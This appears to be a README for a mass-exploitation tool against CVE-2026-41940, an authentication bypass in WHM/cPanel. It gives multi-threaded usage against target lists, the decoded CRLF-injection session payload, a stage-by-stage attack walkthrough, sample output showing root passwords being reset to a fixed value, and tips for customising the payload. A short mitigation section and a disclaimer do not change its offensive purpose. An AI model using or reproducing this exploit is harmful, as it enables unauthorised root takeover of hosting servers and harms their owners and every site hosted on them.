CVE-2026-41940 - WHM/cPanel Authentication Bypass Mass Exploit

📋 Description

CVE-2026-41940 is a critical authentication bypass vulnerability in WHM/cPanel that allows attackers to bypass authentication and gain root access to a server without valid credentials. The vulnerability leverages CRLF injection in the session handling mechanism to inject malicious session parameters.

This tool provides mass exploitation capabilities with multi-threading support for testing multiple targets simultaneously, featuring intelligent success detection and automatic filtering of invalid targets.

🎯 Main Features

📦 Requirements

• Python 2.7 (required - NOT compatible with Python 3.x)
• Internet connection for target access
• Required Python packages:

pip install requests urllib3 futures

Or use requirements.txt:

requests==2.27.1
urllib3==1.26.18
futures==3.4.0

📥 Installation

# Clone repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# Install dependencies
pip install -r requirements.txt

# Make executable (Linux/Mac)
chmod +x CVE-2026-41940.py

🚀 Usage

1. Prepare Target File

Create a targets.txt file with one target per line:

https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com

Note: Port 2087 is the default WHM port. If not specified, it will automatically use port 2087. HTTP/HTTPS prefix will be added automatically if missing.

2. Run the Exploit

Basic Usage (Default Settings)

python2 CVE-2026-41940.py targets.txt

Multi-threaded Usage

# Use 5 concurrent threads
python2 CVE-2026-41940.py targets.txt --threads 5

# Use 20 threads for faster scanning
python2 CVE-2026-41940.py targets.txt --threads 20

Custom Hostname

# Override Host header for all targets
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10

Custom Timeout

# Set timeout to 30 seconds for slow connections
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30

📊 Command Line Arguments

📁 Output Format

Result File (res.txt)

Only confirmed successful exploits are saved. Targets with license errors, failed password changes, or connection issues are automatically excluded.

Format:

domain:port|root|Jenderal92

Example output:

www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92

Excluded Scenarios

The following targets will NOT be saved to res.txt:

• License errors (Cannot Read License File)
• Failed password changes
• Connection timeouts or refusals
• Patched/targets without WHM
• Incorrect credentials or session failures

Console Output

$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED

==================================================

[*] Checking target: 127.0.0.1
    Original input: 127.0.0.1
    Normalized: https://127.0.0.1:2087
    Port 2087: OPEN
    Testing connection... OK (HTTP 200)

[0] hostname = example.com
[1] minting a preauth session...
    session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
    HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] attempting to change the root password
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!

[✓] SUCCESS & SAVED: 127.0.0.1:2087
    Saved to res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4

[+] Results saved to res.txt

Successfully exploited targets (password changed to Jenderal92):
  ✓ 127.0.0.1:2087

🔬 How the Exploit Works

The exploit consists of 4 main stages with intelligent verification:

Stage 1: Pre-authentication Session

[1] minting a preauth session...

• Sends a POST request to /login/?login_only=1 with invalid credentials
• Retrieves the whostmgrsession cookie from the server response
• Extracts the session base by removing tail ,<obhex> portion
• This gives us a valid session format to work with

Stage 2: CRLF Injection Attack

[2] sending the CRLF injection...

• Sends a GET request with Authorization: Basic header containing malicious payload
• The Base64 payload decodes into:
  root@kitploit:~

  root:x
  successful_internal_auth_with_timestamp=9999999999
  user=root
  tfa_verified=1
  hasroot=1
  

• The CRLF (\r\n) characters inject fake session parameters
• This tricks the server into thinking authentication was successful
• Server responds with HTTP 307 and a Location header containing the cp_security_token

Stage 3: Session Propagation

[3] firing do_token_denied to propagate...

• Accesses /scripts2/listaccts endpoint with the manipulated cookie
• Triggers do_token_denied mechanism in WHM
• This propagates the injected session parameters into the server's session cache
• HTTP 401 response with "Token denied" confirms successful propagation

Stage 4: Verification & Password Change

[4] verifying we're WHM root...

• Accesses /json-api/version to verify root-level access
• Calls /json-api/passwd API to change root password to Jenderal92
• Intelligently detects success across multiple WHM API response formats:
  • {"metadata": {"result": 1}} (cPanel v11.118+)
  • {"status": 1} (older versions)
  • {"result": [{"status": 1}]} (legacy format)
  • Text-based success messages

Automatic Filtering

The tool automatically excludes:

• License errors: {"status": 0, "statusmsg": "Cannot Read License File"}
• Failed password changes: When API returns success code but password wasn't changed
• Connection issues: Timeouts, refused connections, unreachable hosts

🛡️ Detection & Mitigation

Indicators of Compromise (IOCs)

Logs to Monitor

# WHM access log
/usr/local/cpanel/logs/access_log

# cPanel error log  
/usr/local/cpanel/logs/error_log

# Authentication log
/var/log/secure

# System messages
/var/log/messages

Mitigation Steps

1. Update WHM/cPanel to the latest patched version immediately

   root@kitploit:~

   /usr/local/cpanel/scripts/upcp
   

2. Enable Two-Factor Authentication (2FA) for all accounts, especially root

   root@kitploit:~

   WHM → Security Center → Two-Factor Authentication
   

3. Restrict WHM access with IP whitelisting

   root@kitploit:~

   WHM → Security Center → Host Access Control
   

4. Monitor access logs regularly for suspicious patterns

   root@kitploit:~

   tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
   

5. Change all passwords if compromise is suspected

6. Use firewall rules to restrict access to port 2087

   root@kitploit:~

   # Allow only trusted IPs
   iptables -A INPUT -p tcp --dport 2087 -s YOUR_TRUSTED_IP -j ACCEPT
   iptables -A INPUT -p tcp --dport 2087 -j DROP
   
   # Or use CSF/LFD firewall
   csf -a YOUR_TRUSTED_IP
   

7. Implement WAF rules to detect CRLF injection attempts

8. Regular security audits of WHM/cPanel installations

📝 Usage Examples in Different Scenarios

Scenario 1: Single Target Testing

echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1

Scenario 2: Bulk Server Audit

python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20

Scenario 3: Slow Network/Long Distance

python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45

Scenario 4: Custom Hostname Behind Proxy/Load Balancer

python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10

Scenario 5: Mixed Port Targets

# targets.txt can contain various formats:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50

# All will be normalized automatically
python2 CVE-2026-41940.py targets.txt --threads 15

⚙️ Troubleshooting

Error: "module 'urllib' has no attribute 'urlsplit'"

Problem: Using Python 3 instead of Python 2.7
Solution: This tool requires Python 2.7 specifically.

# Check Python version
python2 --version  # Must show Python 2.7.x

# Run with python2 explicitly
python2 CVE-2026-41940.py targets.txt

Error: "Connection refused - target unreachable"

Problem: Target is offline or firewall blocking
Solution:

# Test manually
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087

Error: "/login didn't issue a whostmgrsession cookie"

Problem: Target may be patched or not running WHM
Solution:

• Verify target is running WHM/cPanel
• Check if target is accessible via browser at https://target:2087
• Target may already have CVE-2026-41940 patch applied

Slow Scanning Performance

Solution: Adjust thread count and timeout

# For many targets with good connectivity
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10

# For unreliable connections
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45

License Errors in Output

Note: Targets showing Cannot Read License File are automatically excluded from res.txt. This is expected behavior as password changes won't work on unlicensed WHM installations.

🔧 Advanced Configuration

Custom Payload Modification

You can modify PAYLOAD_B64 for custom session parameters:

import base64

# Custom payload
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""

encoded = base64.b64encode(payload.encode())
print(encoded)

Custom Password

Change the password in the do_passwd() function (line ~280):

{"user": "root", "password": "YourCustomPassword123"}

Adjusting Success Detection

The do_passwd() function can be modified to detect custom WHM response formats:

# Add custom pattern in do_passwd()
if 'your_custom_success_string' in (r.text or '').lower():
    return "success"

🤝 Contributing

Contributions are welcome! Please follow these steps:

1. Fork the repository
2. Create a feature branch (git checkout -b feature/AmazingFeature)
3. Commit your changes (git commit -m 'Add some AmazingFeature')
4. Push to the branch (git push origin feature/AmazingFeature)
5. Open a Pull Request

Development Guidelines

• Maintain Python 2.7 compatibility
• Test with different WHM/cPanel versions
• Add proper error handling
• Update documentation for new features

⭐ Star History

If this tool is useful for your security research, please give it a ⭐ on GitHub!

❗ FAQ

Q: Can this tool be detected?
A: Yes, this tool leaves traces in WHM/cPanel access logs. Use only with proper authorization and for legitimate security testing.

Q: How long does exploitation take?
A: Approximately 5-15 seconds per target depending on network latency and server response time.

Q: Does it require prior root access?
A: No, this exploit works completely externally without any authentication.

Q: Does this tool work on Windows?
A: Yes, as long as Python 2.7 is properly installed and configured.

Q: My target uses a different port, what should I do?
A: Specify the port in the target URL: https://target.com:2083 for cPanel or any custom port.

Q: Why are some targets not saved to res.txt even though the exploit worked?
A: The tool only saves targets where the password was successfully changed. Targets with license errors, failed password changes, or other issues are excluded even if the authentication bypass was successful.

Q: What WHM/cPanel versions are vulnerable?
A: Versions prior to the CVE-2026-41940 patch. Check cPanel's changelog for the patched version.

📌 Important Notes

• ✅ This tool changes the root password to Jenderal92 on successful exploitation
• 📡 The default WHM port is 2087 (automatically used if not specified)
• 🔒 SSL certificate verification is disabled to support self-signed certificates
• 💾 Only confirmed successes (password changed) are saved to res.txt
• ⚠️ License errors and failed password changes are automatically filtered out
• 🔄 Each run creates a fresh res.txt file (old results are deleted)
• 🌐 HTTP/HTTPS prefix is automatically added if missing from targets
• 🧵 Default thread count is 15, adjustable based on system capabilities

Created for educational security research purposes
Use responsibly, stay legal, stay ethical

⚠️ DISCLAIMER

⚠️ CRITICAL WARNING!

This tool was created exclusively for:

• ✅ Educational purposes and security research
• ✅ Authorized penetration testing
• ✅ Security assessments on systems you own
• ✅ Vulnerability verification with written permission

STRICTLY PROHIBITED uses:

• ❌ Accessing systems without explicit authorization
• ❌ Any form of illegal activities
• ❌ Malicious actions or causing harm to systems
• ❌ Unauthorized access to any computer systems
• ❌ Violating any local, state, or federal laws

The author(s) assume NO responsibility or liability for any misuse, damage, or consequences resulting from the use of this tool. By using this tool, you agree to use it only on systems you own or have explicit written authorization to test.

If you proceed, you acknowledge that:

1. You have authorization to test the target systems
2. You understand the legal implications of unauthorized access
3. You will comply with all applicable laws and regulations
4. The author(s) are not responsible for your actions

---

More Disclaimer You Can see the disclaimer on the cover of Jenderal92. You can check it HERE !!!